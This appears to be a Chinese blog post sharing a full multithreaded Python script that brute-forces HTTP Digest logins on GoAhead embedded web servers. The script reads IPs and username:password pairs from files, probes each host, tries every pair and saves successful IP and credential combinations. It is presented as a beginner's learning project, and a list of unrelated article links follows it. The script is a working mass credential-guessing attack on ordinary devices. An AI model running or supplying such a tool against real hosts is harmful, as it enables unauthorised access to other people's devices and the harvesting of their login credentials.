最近在学习用python写爬虫工具,某天偶然发现GoAhead系列服务器的登录方式跟大多数网站不一样,不是采用POST等方法,通过查找资料发现GoAhead是一个开源(商业许可)、简单、轻巧、功能强大、可以在多个平台运行的嵌入式Web Server。大多数GoAhead服务器采用了HTTP Digest认证方式,并且部分服务器采用了默认账号密码,于是萌生了针对GoAhead编写爬虫的想法,通过近8个小时的编程与调试,勉强写出了个简陋的脚本,现在拿出来分享,给刚接触python的新手参考下,也请求路过的大神指点下,哈哈。

  该脚本对新手来说难点在于如何让python自动填写账号密码并登录,本人花了近两个小时参考了很多网站,觉得用python的第三方模块requests中的get()函数最方便,只需填写URL、认证方式和账号密码即可模拟登录。

  另一个难点就是多线程了,不过对于用其它语言写过多线程的人来说还是挺容易的,不懂的可以自己查资料,这里就不多说了。

  下面附上完整代码:

from requests.auth import HTTPDigestAuth
import requests
import threading
import sys
import os
import time ip_file_name = 'ip.txt'
password_file_name = 'password.txt'
results_file_name = 'results.txt'
ip_count = 0
thread_count = 0
default_thread_count = 150
local = threading.local() #read ip_file
def get_ip():
if os.path.exists(os.getcwd() + '/' + ip_file_name):
with open(ip_file_name, 'r') as r:
list = []
for line in r.readlines():
line = line.strip('\n')
line = 'http://' + line
list.append(line)
r.close()
return list
else:
print('ip file doesn\'t exist!\n')
os._exit(-1) #read password_file
def get_password():
if os.path.exists(os.getcwd() + '/' + password_file_name):
with open(password_file_name, 'r') as pa:
list = []
for line in pa.readlines():
line = line.strip('\n')
list.append(line)
pa.close()
return list
else:
print('password file doesn\'t exist!\n')
os._exit(-1) class MyThread(threading.Thread):
def __init__(self, thread_index, ip_list, pass_list, results_file):
threading.Thread.__init__(self)
self.thread_index = thread_index
self.ip_list = ip_list
self.pass_list = pass_list
self.results_file = results_file def run(self):
local.thread_index = self.thread_index
#Calculate the number of tasks assigned.
if ip_count <= default_thread_count:
local.my_number = 1
else:
local.my_number = (int)(ip_count/thread_count)
if ip_count%thread_count > thread_index:
local.my_number = local.my_number + 1 for local.times in range(local.my_number):
try:
local.ip = self.ip_list[(local.times-1)*thread_count+local.thread_index]
#Check whether the target is a digest authentication.
local.headers = str(requests.get(local.ip, timeout=6).headers)
if 'Digest' not in local.headers:
continue
except BaseException:
'''
e = sys.exc_info()
print(e)
'''
continue
#Loop to submit account password.
for local.user in self.pass_list:
#sleep 0.1 second to prevent overloading of target
time.sleep(0.1)
#Get the account password by cutting local.user
local.colon_index = local.user.find(':')
if local.colon_index == -1:
print(local.user+' doesn\'t Conform to the specifications')
os._exit(1)
local.username = local.user[0:local.colon_index]
local.password = local.user[local.colon_index+1:]
if local.password == '<empty>':
local.password = ''
try:
local.timeouts = 0
#Start Digest authentication
local.code = requests.get( local.ip, auth=HTTPDigestAuth(local.username, local.password), timeout=5 )
#If the status code is 200,the login is success
if local.code.status_code == 200 :
print('login '+local.ip+' success!')
self.results_file.writelines(local.ip+' '+local.username+' '+local.password+'\n')
break
except BaseException:
'''
e = sys.exc_info()
print(str(local.thread_index)+' '+local.ip+' '+local.username+' '+local.password)
print(e)
'''
#If the times of timeout is too many, check the next IP.
local.timeouts += 1
if local.timeouts == 15:
local.timeouts = 0
break
else:
continue if __name__ == '__main__': ip_list = get_ip()
pass_list = get_password() if len(ip_list)==0 or len(pass_list)==0:
print('please fill ip, username or password file')
os._exit(-1) ip_count = len(ip_list)
if ip_count <= default_thread_count:
thread_count = ip_count
else:
thread_count = default_thread_count print('start to work...')
#create threads and run
threads = []
with open(results_file_name, mode='a') as results_file:
for thread_index in range(thread_count):
thread = MyThread(thread_index, ip_list, pass_list, results_file)
thread.start()
threads.append(thread)
for thread in threads:
#wait for all threads to end
thread.join()
results_file.close() print('All work has been completed.')

  该脚本的运行流程为:

  1.读取ip.txt、password.txt文件中的内容

  2.创建线程并运行

  3.每个线程对其分配到的IP进行循环认证,先检查目标是否存在且为Digest认证方式,若为真则开始循环登录,登录过程中若多次超时则跳过对该IP的检查

  4.当服务器返回200状态码时则表示登录成功,将IP和账号密码写入results.txt,并循环检查下一个IP

  5.当所有线程将分配到的所有IP检查完毕,则程序运行完毕

批量检测GoAhead系列服务器中Digest认证方式的服务器弱口令的更多相关文章

  1. ssh 服务器之间公钥认证方式的配置

    前言 项目中需要编写脚本在服务器之间上传或者下载文件,但没有相关服务器来测试脚本,于是就着手安装两台server,然后用ssh的相关命令去配置server之间公钥认证登录. 步骤 1. 在VM Box ...

  2. cas sso单点登录系列3_cas-server端配置认证方式实践(数据源+自定义java类认证)

    转:http://blog.csdn.net/ae6623/article/details/8851801 本篇将讲解cas-server端的认证方式 1.最简单的认证,用户名和密码一致就登录成功 2 ...

  3. spark批量写写数据到Hbase中(bulkload方式)

    1:为什么大批量数据集写入Hbase中,需要使用bulkload BulkLoad不会写WAL,也不会产生flush以及split. 如果我们大量调用PUT接口插入数据,可能会导致大量的GC操作.除了 ...

  4. 基于Token的身份认证 与 基于服务器的身份认证

    基于Token的身份认证 与 基于服务器的身份认证 基于服务器的身份认证 在讨论基于Token的身份认证是如何工作的以及它的好处之前,我们先来看一下以前我们是怎么做的: HTTP协议是无状态的,也就是 ...

  5. Java 实现 SSH 协议的客户端登录认证方式--转载

    背景 在开篇之前,让我们先对 SSH 协议有个宏观的大致了解,这样更有利于我们对本文的加深了解.首先要提到的就是计算机网络协议,所谓计算机网络协议,简单的说就是定义了一套标准和规则,使得不同计算机之间 ...

  6. http认证方式,工程部分实现

    学习过程中,被boss批评,要求去复习http协议,因此找了相关资料做成一个系列:对于http认证方式不清楚的可以参考我的上一篇文章 http认证方式https://www.cnblogs.com/j ...

  7. getJSON方式请求服务器

    register.jsp <%@ page language="java" import="java.util.*" pageEncoding=" ...

  8. Python批量检测服务器端口可用性与Socket函数使用

    socket函数 简述 socket又称套间字或者插口,是网络通信中必不可少的工具.有道是:"无socket,不网络".由于socket最早在BSD Unix上使用,而Unix/L ...

  9. Linux利用nc命令脚本批量检测服务器指定端口是否开放

    一.nc命令检测端口的用法 # nc -v -w 10 %IP% -z %PORT% -v 显示指令执行过程. -w <超时秒数> 设置等待连线的时间. -u 表示使用UDP协议 -z 使 ...

随机推荐

  1. redis缓存的应用详解

    在现在的很多项目,基本上都需要引入缓存机制,那么缓存到底是什么呢? 缓存  也就是数据交互的缓冲区  Cache 在java-web项目中实现缓存,也就是需要首先把数据库需要用到的数据备份一份作为副本 ...

  2. 对JS prototype的理解

    1.什么是prototype? function F() {} f1 = new F();f2 = new F(); 以上的代码,F()是一个构造函数,f1和f2是由这个构造函数产生的对象. prot ...

  3. xml 加载多个properties文件

    xml 配置项: <bean id="propertyConfigurer" class="com.boc.icms.archive.util.ExProperty ...

  4. java中四种操作xml方式的比较

    1)DOM(JAXP Crimson解析器) DOM是用与平台和语言无关的方式表示XML文档的官方W3C标准.DOM是以层次结构组织的节点或信息片断的集合.这个层次结构允许开发人员在树中寻找特定信息. ...

  5. Python基础-week01

    本节内容摘要:http://www.cnblogs.com/Jame-mei Python介绍 Python是怎么样的语言? Python 2 or 3? 安装 Hello World程序 变量 用户 ...

  6. OpenCascade Law Function

    OpenCascade Law Function eryar@163.com 1.Introduction 在OpenCASCADE的TKGeomAlgo Toolkit中提供了一个Law Packa ...

  7. python3 爬虫开发 学习总结一

    virtualenv 安装虚拟环境的   pip install  virtualenv安装慢的话,可以指定源    pip install  -i  源地址  xxx  就可以安装xxxvirtua ...

  8. RTC实时时间系统学习笔记(一)---------------UART串口

    临近研三了,自己倾向于要找数字IC方面的工作,苦于教研室的项目一直都是调板子调板子调板子,真正用到FPGA的很少,,本着"工欲善其事必先利其器"的原则,在网上搜寻如何自学FPGA, ...

  9. MYSQL数据库学习七 视图的操作

    7.1 视图 视图使程序员只关心感兴趣的某些特定数据和他们所负责的特定任务.提高了数据库中数据的安全性. 视图的特点如下: 视图的列可以来自不同的表,是表的抽象和在逻辑意义上建立的新关系. 视图是由基 ...

  10. npm 和bower之间的区别

    (一) npm是node js的包管理器,用来下载安装node js的第三方工具包,也可以用来发布你自己开发的工具包.通过npm可以安装bower,命令如下: npm install -g bower ...